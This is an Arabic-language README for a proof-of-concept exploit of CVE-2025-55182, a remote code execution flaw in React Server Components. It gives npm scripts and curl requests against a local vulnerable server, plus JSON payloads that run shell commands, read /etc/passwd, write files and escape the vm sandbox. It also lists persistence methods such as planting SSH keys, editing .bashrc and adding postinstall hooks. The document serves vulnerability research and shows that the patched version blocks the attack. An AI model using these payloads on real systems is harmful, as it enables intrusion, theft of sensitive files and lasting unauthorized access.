
يُظهر هذا الإثبات المفاهيمي (POC) CVE-2025-55182 باستخدام الكود الفعلي المعرّض للثغرة [email protected].
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start
# Run RCE exploit
npm run exploit
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Servers
npm start # Start main server (server-realistic.js, port 3002)
npm run start:legacy # Start legacy server (server.js, port 3002)
# Exploits
npm run exploit # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
# Start server first
npm start
# Test fs read
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Test command execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Test vm code execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| الملف | المنفذ | الوصف |
|---|---|---|
src/server-realistic.js | 3002 | الخادم الرئيسي - يحاكي حزمة webpack مع وحدات شائعة (fs, vm, child_process) |
src/server.js | 3002 | خادم قديم (يستخدم استدعاء require مباشرة) |
| الملف | الوصف |
|---|---|
exploit-rce-v4.js | استغلال RCE الأساسي عبر vm#runInThisContext |
exploit-all-gadgets.js | يختبر جميع أدوات RCE (vm, child_process, fs) |
exploit-persistence.js |
يحاكي حزمة webpack حقيقية حيث تقوم التطبيقات عادةً بتضمين وحدات خطيرة عبر التبعيات:
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* user's server actions */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};
دالة __webpack_require__ تحمّل الوحدات فقط من BUNDLED_MODULES، لمحاكاة سلوك webpack الحقيقي.
في requireModule()، يتم الوصول إلى الصادرات عبر ترميز الأقواس بدون فحص hasOwnProperty:
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // Accesses prototype chain!
// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0 مع بيانات وصفية للإجراء المرتبط (bound action)id: 'vm#runInThisContext' يحمّل وحدة vm، ويصل إلى التصدير runInThisContextbound تصبح وسائط للدالةrunInThisContext(CODE) ينفّذ كودًا عشوائيًاتنفيذ أمر شل (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }
قراءة ملفات حساسة:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
كتابة ملفات على القرص:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
تنفيذ JavaScript عشوائي:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
الهروب من بيئة العزل (Sandbox) عبر vm.runInNewContext:
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
للوصول المباشر إلى RCE: نعم، تحتاج إلى أحد الخيارات التالية:
vm (runInThisContext, runInNewContext)child_process (execSync, execFileSync, spawnSync)للوصول غير المباشر إلى RCE (باستخدام fs فقط): لا! باستخدام fs فقط يمكنك:
~/.ssh/authorized_keys → وصول عبر SSH~/.bashrc → تنفيذ كود عند تسجيل الدخول التاليnode_modules/* → RCE عند إعادة تشغيل التطبيقpostinstall في package.json → RCE عند تثبيت npm التالي| الإصدار | الهجوم | النتيجة |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ تم تحقيق RCE |
| React 19.2.1 | vm#runInThisContext | ✗ تم الحظر |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail
انظر VULNERABLE-PACKAGES.md للبحث حول حزم npm الشائعة التي تتضمن وحدات خطيرة:
| الوحدة | التنزيلات الأسبوعية | الحزم الشائعة |
|---|---|---|
fs | 145M+ | fs-extra, gray-matter, multer, sharp |
| هجمات الثبات (مفاتيح SSH, .bashrc) |
| الأداة (Gadget) | الحالة | الوصف |
|---|
vm#runInThisContext | ✓ | تنفيذ JavaScript عشوائي في السياق الحالي |
vm#runInNewContext | ✓ | تنفيذ في "sandbox" (يمكن تجاوزه بسهولة) |
child_process#execSync | ✓ | تنفيذ أوامر شل مباشرة |
child_process#execFileSync | ✓ | تنفيذ ملفات ثنائية |
child_process#spawnSync | ✓ | بدء عملية (تُرجع كائنًا) |
fs#readFileSync | ✓ | قراءة ملفات عشوائية |
fs#writeFileSync | ✓ | كتابة ملفات عشوائية |
child_process | 103M+ | execa, shelljs, puppeteer, sharp |
vm | 21M+ | ejs, pug, handlebars, vm2 |